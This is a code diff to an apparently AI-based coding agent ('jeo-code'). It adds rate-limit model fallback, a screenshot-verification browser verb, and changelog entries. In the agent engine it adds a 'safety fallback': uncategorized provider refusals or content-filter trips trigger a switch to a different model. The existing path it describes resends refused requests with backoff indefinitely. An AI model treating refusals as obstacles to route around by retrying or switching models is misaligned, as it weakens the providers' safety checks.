  - **[0.8.20]** (2026-07-10) — "모든 검증 다시 리뷰하고 변경사항 모두 체크해" — 4 fresh, skeptical subagents independently re-audited every change from v0.8.17-0.8.19 (bc8768f..92c6b7d) with zero trust in prior claims: a code-correctness auditor manually traced the Antigravity routing logic against the live catalog, a test-integrity auditor mutation-tested the new tests (confirmed each one genuinely fails when its fix is reverted) and ran the suite fresh, a live-behavior verifier re-reproduced all 4 behavioral claims from scratch with self-generated data (own session ids, own mock server, own HTTP status code), and a docs-accuracy auditor cross-checked every README/CHANGELOG claim against current code in isolated git worktrees. Verdict: all core logic and tests GENUINE/CONFIRMED CORRECT — but the audit surfaced 1 real doc staleness gap, 1 changelog count error, and 2 minor precision gaps, all fixed here.
271
- - **[0.8.19]** (2026-07-09) — "프롬프트 라우팅에 안티그라비티 프로바이더의 경우, 안티그라비티용 소넷과 오퍼스도 3.5급으로 라우팅될수있도록해줘" — Antigravity re-exports 3 distinct model families (Anthropic Claude, Google Gemini, OpenAI GPT-OSS) behind one credential, structurally unlike every other provider. `high`/`complex` tier auto-select always resolved to Google's Gemini 3.5 rows: Anthropic's real 64,000-token output ceiling lost a same-thinking-tier tie to Google's 65,536 by a margin with no practical significance, and Gemini's 1M-token context further outranked Claude's real 200K window — so `antigravity/claude-sonnet-4-6`/`antigravity/claude-opus-4-6-thinking` were NEVER reachable through auto-select, even though both were already correctly `sizeClass`-tagged into the `high`/`complex` pools.
272
- - **[0.8.18]** (2026-07-09) — "라우팅 매 프롬프트마다 변경되는지, route why 의도대로 동작하는지 검증하고 배포할게있는지 확인해줘" — 2 parallel subagents live-verified per-prompt routing + `/route why` (including the previously-only-unit-tested post-call equivalent-model fallback path, now reproduced against a real mock 500-error server) and audited a disconnected `RouteHistory` class shipped as incomplete scaffolding in 0.8.16/0.8.17 (class + 11 tests existed, but nothing ever called it — no `/route history` subcommand, no wiring into the turn loop). Live testing also surfaced one real bug: the TUI footer's model/provider label never updated after a mid-turn fallback, staying on the pre-fallback model for the rest of that turn's render even though the backend decision (`lastRouteDecision`) was already correct.
273
289
 
274
290
  See [CHANGELOG.md](CHANGELOG.md) for the full history.
275
291
  <!-- CHANGELOG:END -->
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "jeo-code",
3
- "version": "0.8.22",
3
+ "version": "0.8.24",
4
4
  "description": "Clean, highly optimized AI coding agent using spec-first loop",
5
5
  "type": "module",
6
6
  "main": "src/cli.ts",
@@ -49,7 +49,7 @@ The core runtime loop, tool registry, session management, and state persistence
49
49
  | `subagent-registry.ts` | Brief description of purpose |
50
50
  | `subagent-tool.ts` | Brief description of purpose |
51
51
  | `subagents.ts` | Brief description of purpose |
52
- | `task-tool.ts` | `task` tool (single/fan-out/detached delegation) — exports `runSubagentOnce`, the single subagent execution core (history/runAgentLoop/contract validation/mutation audit/fenced report) shared with `jeo team`'s executor in `src/commands/team.ts` |
52
+ | `task-tool.ts` | `task` tool (single/fan-out/detached delegation) — exports `runSubagentOnce`, the single subagent execution core (history/runAgentLoop/contract validation/mutation audit/fenced report) shared with `jeo team`'s executor in `src/commands/team.ts` and the consensus critic gate in `src/commands/ralplan.ts`. A subagent's own 429 gets the SAME rate-limit fast-fallback treatment as the main turn (`launch.ts`): `rateLimitFallbackAvailable` (via `prompt-router.ts`'s `tierModelPool`/`credentialScopeFor`) lets the engine bail a retry ladder early when a same-tier, different-credential-scope model is available, and a small bounded reroute loop (`MAX_SUBAGENT_REROUTES`, exported) actually switches and retries — never a bail-only predicate, which would just fail faster with no fallback attempted. Concurrent fan-out workers share ONE batch-scoped `excludedCredentialScopes` Set so a scope one worker discovers exhausted is skipped by its siblings too |
53
53
  | `todo-tool.ts` | Brief description of purpose |
54
54
  | `tokenizer.ts` | Brief description of purpose |
55
55
  | `tool-output.ts` | Brief description of purpose |
@@ -12,15 +12,22 @@ import type { ToolHandler } from "./engine";
12
12
  import type { ToolResult } from "./tools";
13
13
  import { browserSession, type BrowserSession } from "./browser-session";
14
14
  import type { ObservedElement, ExtractFormat } from "./browser-tab";
15
+ import type { ImageAttachment } from "../ai/types";
16
+ import { visionVerify } from "./vision-verify";
17
+ import { resolveVerifierModel } from "./prompt-router";
18
+ import { readGlobalConfig } from "./state";
15
19
 
16
20
  /** One-line protocol description appended to the launch system prompt. */
17
21
  export const BROWSER_TOOL_PROTOCOL_LINE =
18
22
  `browser {action:"open"|"close"|"run"|"act", name?, url?, viewport?, code?, actions?, all?} — headless ` +
19
23
  `Chromium automation (Playwright). 'open' {name, url?} opens/reuses a named tab (name defaults to "main"). ` +
20
24
  `'close' {name?, all?} closes one tab or every tab. 'act' {name, actions:[{verb, ...}]} runs structured steps ` +
21
- `(navigate/click/type/fill/select/press/scroll/back/wait/observe/extract/screenshot) — address elements by ` +
22
- `numeric 'id' from a prior 'observe' step (preferred) or a CSS 'selector'; prefer 'observe' over 'screenshot' ` +
23
- `for understanding page state. 'run' {name, code} executes an async function BODY with page/browser/tab/` +
25
+ `(navigate/click/type/fill/select/press/scroll/back/wait/observe/extract/screenshot/verify) — address elements ` +
26
+ `by numeric 'id' from a prior 'observe' step (preferred) or a CSS 'selector'; prefer 'observe' over 'screenshot' ` +
27
+ `for understanding page state. 'verify' {goal, selector?, fullPage?, design_tokens?, prior_screenshot?} takes a ` +
28
+ `screenshot and asks an INDEPENDENT vision-capable model to judge it against 'goal' (plain language) — returns ` +
29
+ `{verdict:"PASS"|"MISMATCH", detail}; use this to close the loop on visual/UI work instead of eyeballing a saved ` +
30
+ `screenshot yourself. 'run' {name, code} executes an async function BODY with page/browser/tab/` +
24
31
  `display/assert/wait in scope for anything the structured verbs don't cover.`;
25
32
 
26
33
  function err(message: string): ToolResult {
@@ -109,6 +116,28 @@ async function runActStep(session: BrowserSession, name: string, step: ActStep):
109
116
  await fs.writeFile(savePath, buf);
110
117
  return { verb, ok: true, saved: savePath, bytes: buf.length };
111
118
  }
119
+ case "verify": {
120
+ const goal = String(step.goal ?? "").trim();
121
+ if (!goal) return { verb, ok: false, error: "verify requires a non-empty 'goal' describing what the page should show." };
122
+ const buf = await tab.screenshot({ selector: typeof step.selector === "string" ? step.selector : undefined, fullPage: !!step.fullPage });
123
+ const image: ImageAttachment = { mediaType: "image/png", data: buf.toString("base64") };
124
+ let priorImage: ImageAttachment | undefined;
125
+ if (typeof step.prior_screenshot === "string" && step.prior_screenshot) {
126
+ try {
127
+ priorImage = { mediaType: "image/png", data: (await fs.readFile(step.prior_screenshot)).toString("base64") };
128
+ } catch (e: any) {
129
+ return { verb, ok: false, error: `Could not read prior_screenshot '${step.prior_screenshot}': ${e.message ?? e}` };
130
+ }
131
+ }
132
+ const config = await readGlobalConfig();
133
+ const model = resolveVerifierModel(config, { requireImages: true });
134
+ const verdict = await visionVerify(image, goal, {
135
+ model,
136
+ designTokens: typeof step.design_tokens === "string" ? step.design_tokens : undefined,
137
+ priorImage,
138
+ });
139
+ return { verb, ok: verdict.verdict === "PASS", verdict: verdict.verdict, detail: verdict.detail, model };
140
+ }
112
141
  default:
113
142
  return { verb, ok: false, error: `Unknown act verb '${verb}'.` };
114
143
  }
@@ -42,7 +42,7 @@ async function invokeCallLlm(history: Message[], options: {
42
42
  reasoningEffort?: import("../ai/types").CallOptions["reasoningEffort"];
43
43
  signal?: AbortSignal;
44
44
  onUsage?: (u: { inputTokens?: number; outputTokens?: number }) => void;
45
- onRetry?: (attempt: number, err: unknown, delayMs: number) => void;
45
+ onRetry?: (attempt: number, err: unknown, delayMs: number) => void | false;
46
46
  onToken?: (delta: string) => void;
47
47
  onReasoning?: (delta: string) => void;
48
48
  onReasoningStart?: () => void;
@@ -127,7 +127,7 @@ export const TOOL_PROTOCOL = [
127
127
  "14. lsp {action, file, line?, symbol?} — TypeScript/JavaScript language-service queries (definition/references/hover/symbols/diagnostics); 'symbol' resolves the column on 'line' (append #N for the Nth occurrence)",
128
128
  "15. lsp_rename {file, line, symbol?, new_name, apply?} — cross-file TypeScript/JavaScript rename (apply defaults true; apply:false previews only)",
129
129
  "16. debug {action, ...} — Node.js debugging (launch/set_breakpoint/continue/step_over/step_in/step_out/pause/evaluate/stack_trace/scopes/variables/threads/output/terminate); one active session, 'launch' spawns 'node --inspect-brk' and pauses at start",
130
- "17. browser {action:\"open\"|\"close\"|\"run\"|\"act\", name?, url?, actions?} — headless Chromium automation (Playwright); 'act' runs structured steps (navigate/click/type/fill/select/press/scroll/back/wait/observe/extract/screenshot) addressing elements by numeric id from 'observe' or a CSS selector; 'run' executes JS with page/browser/tab/display/assert/wait in scope",
130
+ "17. browser {action:\"open\"|\"close\"|\"run\"|\"act\", name?, url?, actions?} — headless Chromium automation (Playwright); 'act' runs structured steps (navigate/click/type/fill/select/press/scroll/back/wait/observe/extract/screenshot/verify) addressing elements by numeric id from 'observe' or a CSS selector; 'verify' {goal, selector?, fullPage?, design_tokens?, prior_screenshot?} screenshots and asks an INDEPENDENT vision model to judge it against 'goal' -> {verdict:\"PASS\"|\"MISMATCH\", detail} — prefer this over eyeballing a screenshot yourself for UI/visual work; 'run' executes JS with page/browser/tab/display/assert/wait in scope",
131
131
  "18. bisect {good, bad?, run, invert?, maxSteps?, stepTimeoutMs?} — binary-search git history to find the commit that introduced a regression; 'good' is a known-good commit, 'bad' defaults to HEAD, 'run' is a test command (exit 0=good, non-zero=bad, 125=skip), 'invert' finds a FIX instead of a regression",
132
132
  "19. done {reason?} — call when the task is fully implemented AND verified",
133
133
  "",
@@ -276,6 +276,29 @@ export interface AgentLoopEvents {
276
276
  onSteer?(text: string): void;
277
277
  }
278
278
 
279
+ /** The doneReason PREFIX the engine emits when `safetyFallbackAvailable` bails an
280
+ * uncategorized refusal (see `AgentLoopOptions.safetyFallbackAvailable`'s doc
281
+ * comment) — the single source of truth for this tag's shape, so every caller
282
+ * (task-tool.ts, launch.ts) recognizes and strips it identically instead of each
283
+ * re-deriving its own regex that could drift out of sync. */
284
+ export const SAFETY_FALLBACK_TAG = "SafetyFallback (uncategorized): ";
285
+
286
+ /** True for the engine's OWN safety-fallback bail signal — NOT a general refusal
287
+ * detector (the engine already did that categorization; this only recognizes the
288
+ * specific case it decided to hand back for a caller-side model switch, distinct
289
+ * from a `Refusal (<category>)` hard-fail which never produces this tag). */
290
+ export function isSafetyFallbackBail(doneReason: string | undefined): boolean {
291
+ return (doneReason ?? "").startsWith(SAFETY_FALLBACK_TAG);
292
+ }
293
+
294
+ /** Strips the internal tag prefix, leaving the already-user-friendly
295
+ * `friendlyProviderError` text the engine wrapped it around. Idempotent/safe on
296
+ * a non-tagged string (returned unchanged) — callers can apply this
297
+ * unconditionally to any terminal doneReason before it reaches the user. */
298
+ export function stripSafetyFallbackTag(doneReason: string): string {
299
+ return doneReason.startsWith(SAFETY_FALLBACK_TAG) ? doneReason.slice(SAFETY_FALLBACK_TAG.length) : doneReason;
300
+ }
301
+
279
302
  export interface AgentLoopOptions {
280
303
  /** Optional system prompt: prepended to `history` when it has no system message. */
281
304
  systemPrompt?: string;
@@ -313,6 +336,33 @@ export interface AgentLoopOptions {
313
336
  * An agent loop replays nearly-identical history each step, so cache hits here cut
314
337
  * both latency and billed input tokens. */
315
338
  sessionKey?: string;
339
+ /** Sync predicate: true when the caller has an equivalent-pool fallback model
340
+ * ready to switch to RIGHT NOW (a different model in the same size tier that
341
+ * hasn't already been tried this turn). When set and a 429 rate-limit error
342
+ * fires, the engine bails the model-manager retry ladder on the VERY FIRST
343
+ * failed attempt instead of riding the full `rateLimitRetries` backoff budget
344
+ * (up to ~6 attempts / ~90s on the SAME rate-limited model) — the caller's own
345
+ * post-call equivalent-pool fallback (launch.ts's `routeFailureReason` loop)
346
+ * then switches models immediately. Absent, `false`, or a non-rate-limit error
347
+ * leaves the normal retry ladder unchanged (no fallback pool = no reason to
348
+ * cut the budget short; a single-provider session still rides out a transient
349
+ * per-minute window as before). */
350
+ rateLimitFallbackAvailable?: () => boolean;
351
+ /** Sync predicate, same shape/contract as `rateLimitFallbackAvailable` (see its
352
+ * doc comment for the design precedent this mirrors): true when the caller has
353
+ * an equivalent-pool fallback model ready RIGHT NOW. Consulted ONLY at the
354
+ * refusal ladder's final rung (rung 4 — every context mutation already spent)
355
+ * for an UNCATEGORIZED refusal (bare `stop_reason=refusal`/content_filter/SAFETY,
356
+ * the "rolling classifier, can clear with time OR be a false positive" shape —
357
+ * NEVER for a `Refusal (<category>)`-shaped error, which is a deterministic
358
+ * classification of the REQUEST CONTENT and fails fast regardless of this
359
+ * option, exactly as before: switching models must never be a bypass for a
360
+ * genuine content-policy hit). When set and true, the engine bails with a
361
+ * distinctly-tagged `SafetyFallback (uncategorized): <message>` doneReason
362
+ * instead of entering the unbounded backoff-resend loop, so the caller's own
363
+ * equivalent-pool fallback can switch models immediately — the 2026 "false
364
+ * positive -> try a different model; true positive -> hard-halt" pattern. */
365
+ safetyFallbackAvailable?: () => boolean;
316
366
  }
317
367
 
318
368
  export interface AgentLoopResult {
@@ -707,10 +757,18 @@ export async function runAgentLoop(history: Message[], opts: AgentLoopOptions):
707
757
  onReasoningArtifact,
708
758
  // Make provider auto-retry visible: previously a rate-limited call sat in a
709
759
  // silent backoff wait, then surfaced "auto-retry was exhausted" with no trace
710
- // of the retries that DID happen.
760
+ // of the retries that DID happen. A rate limit with a fallback model ready
761
+ // bails HERE (returns false) instead of sleeping through the backoff — the
762
+ // caller's equivalent-pool fallback then switches models immediately (see
763
+ // AgentLoopOptions.rateLimitFallbackAvailable's doc comment).
711
764
  onRetry: (attempt, err, delayMs) => {
765
+ const rateLimited = isRateLimitError(err);
766
+ if (rateLimited && opts.rateLimitFallbackAvailable?.()) {
767
+ ev.onNotice?.("rate limited (HTTP 429) — a fallback model is available, switching instead of retrying");
768
+ return false;
769
+ }
712
770
  const wait = Math.max(1, Math.round(delayMs / 1000));
713
- const what = isRateLimitError(err) ? "rate limited (HTTP 429)" : "transient provider error";
771
+ const what = rateLimited ? "rate limited (HTTP 429)" : "transient provider error";
714
772
  ev.onNotice?.(`${what} — auto-retry #${attempt} in ${wait}s`);
715
773
  },
716
774
  });
@@ -821,6 +879,24 @@ export async function runAgentLoop(history: Message[], opts: AgentLoopOptions):
821
879
  if (category) {
822
880
  return finish({ done: false, steps: step, doneReason: `Error: ${friendlyProviderError(err)}` });
823
881
  }
882
+ // Safety-boundary automatic model fallback (2026 pattern: an UNCATEGORIZED
883
+ // refusal is treated as a possible false-positive classifier trip — try a
884
+ // DIFFERENT model before committing to the full unbounded backoff below).
885
+ // Deliberately AFTER the category check above: a genuinely categorized
886
+ // refusal NEVER reaches here and NEVER gets a model switch, matching
887
+ // launch.ts's own `routeFailureReason` guard ("switching models must not
888
+ // be a safety bypass") — this only widens WHICH uncategorized refusals can
889
+ // escape the same-model backoff loop, it does not touch the true-positive
890
+ // path at all. Checked only once (the first time this rung is reached);
891
+ // if no fallback is available OR the caller didn't wire the predicate, the
892
+ // existing backoff-forever behavior is completely unchanged.
893
+ if (opts.safetyFallbackAvailable?.()) {
894
+ return finish({
895
+ done: false,
896
+ steps: step,
897
+ doneReason: `${SAFETY_FALLBACK_TAG}${friendlyProviderError(err)}`,
898
+ });
899
+ }
824
900
  // Backoff-resend forever (abortable).
825
901
  const attempt = Math.max(1, refusalRetries - MAX_REFUSAL_RETRIES);
826
902
  const baseRaw = Number(jeoEnv("REFUSAL_BACKOFF_BASE_MS") ?? NaN);